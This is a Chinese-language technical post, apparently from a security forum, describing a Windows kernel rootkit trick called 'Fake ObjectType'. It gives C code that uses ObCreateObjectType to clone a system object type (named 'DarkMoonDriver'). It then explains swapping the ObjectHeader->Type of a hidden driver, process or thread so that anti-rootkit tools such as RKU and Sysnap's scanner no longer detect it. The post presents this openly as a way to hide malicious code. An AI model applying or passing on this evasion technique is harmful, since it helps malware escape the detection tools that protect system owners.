还是从邪恶的源头--隐藏说起,以隐藏Driver为例,当我们从PsLoadedModuleList、\Driver对象目录、TypeList都消失以后,要怎么去找到我们这个Driver呢?
这时,很多ARK的方法就是暴搜,暴搜DriverObject(比如Sysnap的《内存对象搜索》),或者暴搜PE镜像,这个很多人都知道。
今天要说的,就是如何对抗暴力搜索内存对象.
假设这样一个场景:我枚举PspCidTable时得到了一个个的对象,然后如何判断这些对象哪些是EPROCESS,哪些是ETHREAD呢?
一个常用的方法(当然还有其它判断方法)就是由Object到ObjectHeader,然后判断ObjectHeader->Type是PsProcessType还是PsThreadType.
我想很多人的代码都是这样写的,包括以前我的也是。但是,这里一定要是PsProcessType或PsThreadType?答案是:NO
OBJECT_TYPE不过是一块保存着该对象类型的相关信息的内存而已,我们完全可以自己“造”一个出来,来代替原有的ObjectHeader->Type躲过匹配检查。
这就是为什么要有Fake ObjectType这个东西的理由~
怎么造?我试过直接分配内存,直接拷贝整个OBJECT_TYPE结构,很不幸问题很多,似乎跟其中某些域的值有关系,我替换PsProcessType之后连进程都创建不了。
还好,ObCreateObjectType函数是导出的,我们可以直接使用此函数创造自己的内存对象类型。
创建之前,需要获取原始的ObjectType信息,毕竟你不可能自己实现该对象类型相关的所有操作,因此有些域直接填充原始ObjectType的值,把工作仍然交给系统去做。在获取时ObjectType时,无所谓导出的未导出的类型,都可以通过直接打开"\ObjectTypes\TypeName"的方式直接获取到,这里不多说。
有了这些信息,就可以开始我们的“山寨”工作了.代码如下:
NTSTATUS
CreateNewObjectTypeByName(
IN PCWSTR ObjectTypeName,//要创建的对象类型的名字
IN POBJECT_TYPE pObjectTypeForCopy,//原始的ObjectType
OUT POBJECT_TYPE *pNewObjectType)//返回新创建的ObjectType
{
UNICODE_STRING NameString;
OBJECT_TYPE_INITIALIZER ObjectTypeInitializer;
NTSTATUS status;
RtlInitUnicodeString (&NameString, ObjectTypeName);
RtlZeroMemory (&ObjectTypeInitializer, sizeof (OBJECT_TYPE_INITIALIZER));
ObjectTypeInitializer.Length = sizeof (ObjectTypeInitializer);
ObjectTypeInitializer.SecurityRequired = TRUE;
ObjectTypeInitializer.PoolType = NonPagedPool;
ObjectTypeInitializer.InvalidAttributes = OBJ_PERMANENT |OBJ_EXCLUSIVE |OBJ_OPENIF;
ObjectTypeInitializer.DefaultPagedPoolCharge = pObjectTypeForCopy->TypeInfo.DefaultPagedPoolCharge;
ObjectTypeInitializer.DefaultNonPagedPoolCharge = pObjectTypeForCopy->TypeInfo.DefaultNonPagedPoolCharge;
//以下这些信息并不总是全都需要,比如PsProcessType与IoDriverObjectType就有一些不同~
ObjectTypeInitializer.DeleteProcedure = pObjectTypeForCopy->TypeInfo.DeleteProcedure;
ObjectTypeInitializer.ValidAccessMask = pObjectTypeForCopy->TypeInfo.ValidAccessMask;
ObjectTypeInitializer.GenericMapping = pObjectTypeForCopy->TypeInfo.GenericMapping;
ObjectTypeInitializer.ParseProcedure = pObjectTypeForCopy->TypeInfo.ParseProcedure;
ObjectTypeInitializer.DeleteProcedure = pObjectTypeForCopy->TypeInfo.DeleteProcedure;
ObjectTypeInitializer.SecurityProcedure = pObjectTypeForCopy->TypeInfo.SecurityProcedure;
ObjectTypeInitializer.QueryNameProcedure = pObjectTypeForCopy->TypeInfo.QueryNameProcedure;
ObjectTypeInitializer.MaintainTypeList = pObjectTypeForCopy->TypeInfo.MaintainTypeList;
status=ObCreateObjectType (&NameString,
&ObjectTypeInitializer,
(PSECURITY_DESCRIPTOR) NULL,
pNewObjectType);
if (NT_SUCCESS(status))
{
dprintf("NewType=0x%08X\n",*pNewObjectType);
}
else
{
dprintf("Failed! status=0x%08X\n",status);
}
return status;
}
创建成功之后,我们就有了一个正常的、合法的ObjectType了(可以自己拿WinObj查看之),然后替换掉我们要隐藏的对象的ObjectHeader->Type就可以了。
(我想在ObCreateObject时直接替换会是什么效果?纯YY,未实践~~)
以Driver为例:
POBJECT_TYPE DarkMoonDriverType;
CreateNewObjectTypeByName(L"DarkMoonDriver",*IoDriverObjectType,&DarkMoonDriverType);
好了,现在有一个属于我们自己的功能完全一样的ObjectType了.
设某个驱动名为XXXX,本身无Device,以DarkMoonDriverType替换ObjectHeader->Type后,不抹Driver对象目录,不断TypeList,不抹PE镜像,甚至连PsLoadedModuleList都不用断,直接bypass RKU!
为什么呢?因为RKU认定了每个DriverObject的ObjectHeader->Type必须是*IoDriverObjectType,所以我们用Fake ObjectType替换后就直接bypass了,这就是我今天要说的Fake ObjectType大法。
对于进程隐藏,此法对RKU同样适用,分别用伪造的DarkMoonProcessType,DarkMoonThreadType掉EPROCESS、ETHREAD对象头中的Type域,再结合一些常规隐藏手段,就可以bypass RKU的进程检测了,比bypass其它一些ARK还容易一些~~
Sysnap的《内核搜索对象》其实存在和RKU类似的问题(这里抱怨一下,YasFindOb在我的虚拟机中总是因内存访问错误而蓝屏),以ScanDriverObject为例,Sysnap以*IoDriverOjbectType->Key做为比对信息。事实上,ObjectType->Key(偏移为0xAC)其实是对象类型名称的前四个字符(不足4个以空格补齐),以这个作为比对信息,自然是找不到上面的DarkMoonDriver的,因为我们的Key是"Dark"。这还不是关键的,关键是DriverObject->DriverName可以抹掉,你又如何拿来和Key对比?
代码中还有if(pTmpDriObject->Type == 4)这样的判断,4代表了DRIVER,但是如果这里不是4,我们仍然会活得好好的~
改了这么多,虽然此时DriverObject已经有点面目全非了,但是在抛弃了DeviceObject之后,就已经不需要DriverObject了.
"若为隐藏故,二者皆可抛"!如此以来,搜DriverObject是无法检测到我们的HideDriver的,即使无Device无DriverObject,我们还是可以进行通信的...